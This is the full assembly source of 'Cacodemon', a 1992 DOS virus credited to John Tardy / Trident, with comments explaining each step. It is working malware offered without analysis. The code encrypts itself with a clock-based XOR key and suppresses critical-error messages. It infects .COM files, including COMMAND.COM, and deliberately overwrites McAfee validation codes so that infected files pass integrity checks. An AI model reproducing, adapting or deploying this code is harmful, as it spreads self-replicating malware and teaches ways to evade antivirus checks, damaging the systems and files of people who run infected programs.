📄 cacodmon.asm
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Org 0h ; Generate .BIN file
Start: Jmp MainVir ; Jump to decryptor code at EOF
Db '*' ; Virus signature (very short)
;
; Decryptor procedure
;
MainVir: Call On1 ; Push offset on stack
On1: Pop BP ; Calculate virus offset
Sub BP,Offset MainVir+3 ;
Push Ax ; Save possible error code
Lea Si,Crypt[BP] ; Decrypt the virus with a
Mov Di,Si ; very simple exclusive or
Mov Cx,CryptLen ; function.
Decrypt: Lodsb ;
Xor Al,0 ;
Stosb ;
Loop Decrypt ;
DecrLen Equ $-MainVir ; Length of the decryptor
;
; Main initialization procedure
;
Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at
Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com)
Mov Cs:Start+100h,Ax ;
Mov Cs:Start[2]+100h,Bx ;
Xor Ax,Ax ; Get original interrupt 24
Push Ax ; (critical error handler)
Pop Ds ;
Mov Bx,Ds:[4*24h] ;
Mov Es,Ds:[4*24h]+4 ;
Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place
Mov Word Ptr Cs:OldInt24+2[Bp],Es ;
Lea Bx,NewInt24[Bp] ; Install own critical error
Push Cs ; handler to avoid messages
Pop Es ; when a disk is write
Mov Word Ptr Ds:[4*24h],Bx ; protected and such things
Mov Word Ptr Ds:[4*24h]+2,Es ;
Push Cs ;
Pop Ds ;
Mov Ah,30h ; Check if DOS version is
Int 21h ; 3.0 or above for correct
Cmp Al,3 ; interrupt use
Jae NoCLean ;
Jmp Ready
NoClean: Mov Ah,1ah ; Store DTA at safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ah,4eh ; FindFirsFile Function
Search: Lea Dx,FileSpec[BP] ; Search for filespec given
Xor Cx,Cx ; in FileSpec adress
Int 21h ;
Jnc Found ; Found - Found
Jmp Ready ; Not Found - Ready
Found: Mov Ax,4300h ; Get file attributes and
Mov Dx,0fd1eh ; store them on the stack
Int 21h ;
Push Cx ;
Mov Ax,4301h ; clear file attributes
Xor Cx,Cx ;
Int 21h ;
Mov Ax,3d02h ; open file with read/write
Int 21h ; access
Mov Bx,5700h ; save file date/time stamp
Xchg Ax,Bx ; on the stack
Int 21h ;
Push Cx ;
Push Dx ;
Mov Ah,3fh ; read the first 4 bytes of
Lea Dx,OrgPrg[BP] ; the program onto OrgPrg
Mov Cx,4 ;
Int 21h ;
Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file
Cmp Ax,'ZM' ;
Je ExeFile ;
Cmp Ax,'MZ' ; Check if renamed weird exe-
Je ExeFile ; file
Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected
Cmp Ah,'*' ;
Jne Infect ;
ExeFile: Call Close ; If one of the checks is yes,
Mov Ah,4fh ; close file and search next
Jmp Search ; file
FSeek: Xor Cx,Cx ; subroutine to jump to end
Xor Dx,Dx ; or begin of file
Int 21h ;
Ret ;
Infect: Mov Ax,0fd1e[0] ; check if the file is
Cmp Ax,'OC' ; COMMAN?.COM (usually result
Jne NoCommand ; if COMMAND.COM)
Mov Ax,0fd1e[2] ;
Cmp Ax,'MM' ;
Jne NoCommand ;
Mov Ax,0fd1e[4] ;
Cmp Ax,'NA' ;
Jne NoCommand ;
Mov Ax,4202h ; Jump to EOF
Call Fseek ;
Cmp Ax,0f000h ; Check if file too large
Jae ExeFile
Cmp Ax,VirS ; Check if file to short
jbe ExeFile
Sub Ax,VirS
Xchg Cx,Dx
Mov Dx,4200h
Xchg Dx,Ax
Mov EOFminVir[BP],Dx
Int 21h
Mov Ah,3fh
Mov Dx,Offset Buffer
Mov Cx,VirS
Int 21h
Cld
Mov Si,Offset Buffer
Mov Cx,VirLen
On5:
Push Cx
On6: Lodsb
Cmp Al,0
Jne On4
Loop On6
On4: Cmp Cx,0
Je Found0
Pop Cx
Cmp Si,SeekLen
Jb On5
Jmp NoCommand
Found0: Pop Cx
Sub Si,Offset Buffer
Sub Si,Cx
Xor Cx,Cx
Mov Dx,EOFminVir[BP]
Add Dx,Si
Mov Ax,4200h
Int 21h
Jmp CalcVirus
EOFminVir Dw 0
NoCommand: Mov Ax,4202h ; jump to EOF
Call FSeek ;
Cmp Ax,0f000h ; Check if file too large
Jb NoExe1 ; if yes, goto exefile
Jmp ExeFile ;
NoExe1: Cmp Ax,10 ; Check if file too short
Ja NoExe2 ; if yes, goto exefile
Jmp ExeFile ;
NoExe2: Mov Cx,Dx ; calculate pointer to offset
Mov Dx,Ax ; EOF-52 (for McAfee validation
Sub Dx,52 ; codes)
Mov Si,Cx ; move file pointer to the
Mov Di,Dx ; calculated address
Mov Ax,4200h ;
Int 21h ;
Mov Ah,3fh ; read the last 52 bytes
Mov Dx,0fb00h ; of the file
Mov Cx,52 ;
Int 21h ;
Cmp Ds:0Fb00h,0fdf0h ; check if protected with the
Jne Check2 ; AG option
Cmp Ds:0fb02h,0aac5h ;
Jne Check2 ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Int 21h ; code
Jmp CalcVirus ;
Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the
Jne Eof ; AV option
Cmp Ds:0Fb02h+42,0aac5h ;
Jne Eof ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Add Dx,42 ; code
Int 21h ;
Jmp CalcVirus ;
Eof: Mov Ax,4202h ; not AG or AV - jump to
Call Fseek ; EOF
CalcVirus: Sub Ax,3 ; calculate the jump for the
Mov Cs:CallPtr[BP]+1,Ax ; virus start
GetCrypt: Mov Ah,2ch ; get 100s seconds for the
Int 21h ; encryption value.
Cmp Dl,0 ; if not zero, goto NoZero
Jne NoZero ;
Jmp GetCrypt ;
NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor
Lea Si,MainVir[BP] ; Move changed decryptor to
Mov Di,0fb00h ; a safe place in memory
Mov Cx,DecrLen ;
Rep Movsb ;
Lea Si,Crypt[BP] ; Encrypt the virus and merge
Mov Cx,CryptLen ; it to the changed decryptor
Encrypt: Lodsb ; code
Xor Al,Dl ;
Stosb ;
Loop Encrypt ;
Mov Ah,40h ; append virus at EOF or over
Lea Dx,0fb00h ; the validation code of
Mov Cx,VirLen ; McAfee
Int 21h ;
Mov Ax,4200h ; Jump to BOF
Call FSeek ;
Mov Ah,40h ; Write Jump at BOF
Lea Dx,CallPtr[BP] ;
Mov Cx,4 ;
Int 21h ;
Call Close ; Jump to Close routine
Ready: Mov Ah,1ah ; Restore DTA to normal
Mov Dx,80h ; offset
Int 21h ;
Mov Ax,Cs:OldInt24[Bp] ; remove critical error
Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the
Xor Bx,Bx ; original handler at the
Push Bx ; interrupt table
Pop Ds ;
Mov Ds:[4*24h],Dx ;
Mov Ds:[4*24h]+2,Ax ;
Push Cs ;
Pop Ds ;
Pop Ax ; restore possible error code
Mov Bx,100h ; nice way to jump to the
Push Cs ; begin of the original host
Push Bx ; code
Retf ;
Db ' (C) 1992 John Tardy / Trident '
Close: Pop Si ; why???
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Mov Ax,4301h ; restore file attributes
Pop Cx ;
Mov Dx,0fd1eh ;
Int 21h ;
Push Si ; why???
Ret
; Db 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
Db ' Satan spawn, the Caco-Daemon - Mor(T)alities Death '
;
; New critical error handler
;
NewInt24: Mov Al,3 ; supress any critical error
Iret ; messages
OldInt24 Dd 0 ; storage place for old int 24
CallPtr Db 0e9h,0,0 ; jump to place at BOF
FileSpec Db '*.COM',0 ; filespec and infection marker
OrgPrg: Int 20h ; original program
Db 'JT' ;
CryptLen Equ $-Crypt ; encrypted part length
VirLen Equ $-MainVir ; total virus length
Buffer Equ 0f040h ; buffer offset
VirS Equ VirLen*2
SeekLen Equ Buffer+Virs
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪⌨️ 快捷键说明
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